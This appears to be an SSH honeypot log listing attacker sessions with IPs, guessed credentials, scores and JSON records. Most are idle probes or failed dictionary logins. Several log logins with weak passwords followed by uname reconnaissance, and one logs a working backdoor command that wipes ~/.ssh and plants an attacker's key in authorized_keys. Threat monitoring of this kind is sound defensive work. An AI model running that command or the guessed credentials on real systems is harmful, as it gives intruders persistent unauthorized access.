Adversarial Observation Interface

14.103.48.24

2026-10-09 22:52:36.785452 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 01736b573f05

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "01736b573f05",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:52:36.785452Z",
  "end_time": "2026-10-09T22:54:36.822926Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

38.22.169.6

2026-10-09 22:51:46.484451 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / qwer1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 376f0e2bc4fc

Client Version: SSH-2.0-Go

Engagement Duration: 0.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "376f0e2bc4fc",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:51:46.484451Z",
  "end_time": "2026-10-09T22:51:47.152458Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "qwer1234"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

14.103.48.24

2026-10-09 22:51:21.246995 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 46bb1e52426c

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "46bb1e52426c",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:51:21.246995Z",
  "end_time": "2026-10-09T22:53:21.255260Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

183.201.208.25

2026-10-09 22:51:02.273060 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9a125199128d

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "9a125199128d",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:51:02.273060Z",
  "end_time": "2026-10-09T22:53:02.292730Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

14.103.48.24

2026-10-09 22:50:07.994527 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a702dcff655d

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "a702dcff655d",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:50:07.994527Z",
  "end_time": "2026-10-09T22:52:08.003235Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

14.103.48.24

2026-10-09 22:48:51.377786 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c2d56c4c3be0

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "c2d56c4c3be0",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:48:51.377786Z",
  "end_time": "2026-10-09T22:50:51.385862Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

183.201.208.25

2026-10-09 22:48:47.644080 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 04d990c6297e

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "04d990c6297e",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:48:47.644080Z",
  "end_time": "2026-10-09T22:50:47.658122Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

38.22.169.6

2026-10-09 22:48:37.177760 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / oracle1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 7086634abbb5

Client Version: SSH-2.0-Go

Engagement Duration: 0.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "7086634abbb5",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:48:37.177760Z",
  "end_time": "2026-10-09T22:48:37.844553Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "oracle1234"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

14.103.48.24

2026-10-09 22:47:37.102507 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 837ff6a43fc8

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "837ff6a43fc8",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:47:37.102507Z",
  "end_time": "2026-10-09T22:49:37.112251Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

183.201.208.25

2026-10-09 22:46:30.983231 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6e10caf9d2e6

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "6e10caf9d2e6",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:46:30.983231Z",
  "end_time": "2026-10-09T22:48:30.998466Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

14.103.48.24

2026-10-09 22:46:20.466822 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 411446e6afb4

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "411446e6afb4",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:46:20.466822Z",
  "end_time": "2026-10-09T22:48:20.487889Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

38.22.169.6

2026-10-09 22:45:26.978707 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / Oracle1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 357645993f83

Client Version: SSH-2.0-Go

Engagement Duration: 0.6s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "357645993f83",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:45:26.978707Z",
  "end_time": "2026-10-09T22:45:27.581212Z",
  "duration": "0.6",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "Oracle1234"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

14.103.48.24

2026-10-09 22:45:04.714246 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: lekaren

Record ID: 98585db9ed91

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "98585db9ed91",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:45:04.714246Z",
  "end_time": "2026-10-09T22:45:07.781020Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "lekaren",
      "pass": "lekaren"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

160.119.76.10

2026-10-09 22:44:38.173503 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5049422efbd8

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "5049422efbd8",
  "src_ip": "160.119.76.10",
  "start_time": "2026-10-09T22:44:38.173503Z",
  "end_time": "2026-10-09T22:44:38.315153Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.112

2026-10-09 22:44:33.741967 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: augustin

Record ID: b094fe85f474

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.5s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "b094fe85f474",
  "src_ip": "2.57.121.112",
  "start_time": "2026-10-09T22:44:33.741967Z",
  "end_time": "2026-10-09T22:44:40.258084Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "augustin",
      "pass": "augustin"
    },
    {
      "user": "augustin",
      "pass": "augustin1"
    },
    {
      "user": "augustin",
      "pass": "augustin123"
    },
    {
      "user": "augustin",
      "pass": "augustin1234"
    },
    {
      "user": "augustin",
      "pass": "augustin12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

183.201.208.25

2026-10-09 22:44:15.080277 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a17027d860e5

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "a17027d860e5",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:44:15.080277Z",
  "end_time": "2026-10-09T22:46:15.089937Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

14.103.48.24

2026-10-09 22:43:46.406583 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sammy

Record ID: ec32b1211c64

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ec32b1211c64",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:43:46.406583Z",
  "end_time": "2026-10-09T22:43:48.532082Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "sammy",
      "pass": "a"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

14.103.48.24

2026-10-09 22:42:28.399865 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e6d219fed719

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "e6d219fed719",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:42:28.399865Z",
  "end_time": "2026-10-09T22:44:28.413904Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

38.22.169.6

2026-10-09 22:42:17.822426 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: hadoop / 1234567890

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: eaadf4630b32

Client Version: SSH-2.0-Go

Engagement Duration: 0.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "eaadf4630b32",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:42:17.822426Z",
  "end_time": "2026-10-09T22:42:18.486293Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "hadoop",
    "pass": "1234567890"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

183.201.208.25

2026-10-09 22:41:56.281207 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cd4f53e3b574

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "cd4f53e3b574",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:41:56.281207Z",
  "end_time": "2026-10-09T22:43:56.293632Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

14.103.48.24

2026-10-09 22:41:11.175480 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cb340e1649dc

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "cb340e1649dc",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:41:11.175480Z",
  "end_time": "2026-10-09T22:43:11.187418Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

183.201.208.25

2026-10-09 22:39:43.322986 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fe68feef3dc8

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "fe68feef3dc8",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:39:43.322986Z",
  "end_time": "2026-10-09T22:41:43.344130Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

38.22.169.6

2026-10-09 22:39:19.674093 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: hadoop / 123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 33ef25161848

Client Version: SSH-2.0-Go

Engagement Duration: 0.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "33ef25161848",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:39:19.674093Z",
  "end_time": "2026-10-09T22:39:20.338012Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "hadoop",
    "pass": "123456"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

183.201.208.25

2026-10-09 22:37:28.707982 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a6b76dfc78d5

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "a6b76dfc78d5",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:37:28.707982Z",
  "end_time": "2026-10-09T22:39:28.721121Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

14.103.48.24

2026-10-09 22:37:20.378216 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: thomas

Record ID: 57fe112889af

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "57fe112889af",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:37:20.378216Z",
  "end_time": "2026-10-09T22:37:22.509827Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "thomas",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

38.22.169.6

2026-10-09 22:36:24.135232 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: hadoop / 12345678

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 33e9b4063e72

Client Version: SSH-2.0-Go

Engagement Duration: 0.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "33e9b4063e72",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:36:24.135232Z",
  "end_time": "2026-10-09T22:36:24.798911Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "hadoop",
    "pass": "12345678"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

161.132.37.136

2026-10-09 22:35:14.423793 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 35d3033f3e4e

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "35d3033f3e4e",
  "src_ip": "161.132.37.136",
  "start_time": "2026-10-09T22:35:14.423793Z",
  "end_time": "2026-10-09T22:35:15.281632Z",
  "duration": "0.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

161.132.37.136

2026-10-09 22:35:12.437336 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 871321e409c2

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "871321e409c2",
  "src_ip": "161.132.37.136",
  "start_time": "2026-10-09T22:35:12.437336Z",
  "end_time": "2026-10-09T22:35:14.290939Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

161.132.37.136

2026-10-09 22:35:10.633884 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / azerty123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: d265b94b0a6e

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 4.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d265b94b0a6e",
  "src_ip": "161.132.37.136",
  "start_time": "2026-10-09T22:35:10.633884Z",
  "end_time": "2026-10-09T22:35:15.278579Z",
  "duration": "4.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "azerty123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

183.201.208.25

2026-10-09 22:34:46.073273 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 808a9804f574

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "808a9804f574",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:34:46.073273Z",
  "end_time": "2026-10-09T22:36:46.098457Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

38.22.169.6

2026-10-09 22:33:26.608441 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: hadoop / hadoop123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 853799c8533b

Client Version: SSH-2.0-Go

Engagement Duration: 0.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "853799c8533b",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:33:26.608441Z",
  "end_time": "2026-10-09T22:33:27.274176Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "hadoop",
    "pass": "hadoop123"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

183.201.208.25

2026-10-09 22:32:25.590952 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: bb06d05626df

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "bb06d05626df",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:32:25.590952Z",
  "end_time": "2026-10-09T22:34:25.617591Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

4.206.92.183

2026-10-09 22:32:00.222986 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 3245gs5662d34

Record ID: 5554edae530d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.5s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "5554edae530d",
  "src_ip": "4.206.92.183",
  "start_time": "2026-10-09T22:32:00.222986Z",
  "end_time": "2026-10-09T22:32:00.725342Z",
  "duration": "0.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

4.206.92.183

2026-10-09 22:31:58.647959 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 1ae2e8b71bb7

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.5s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "1ae2e8b71bb7",
  "src_ip": "4.206.92.183",
  "start_time": "2026-10-09T22:31:58.647959Z",
  "end_time": "2026-10-09T22:32:00.147177Z",
  "duration": "1.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
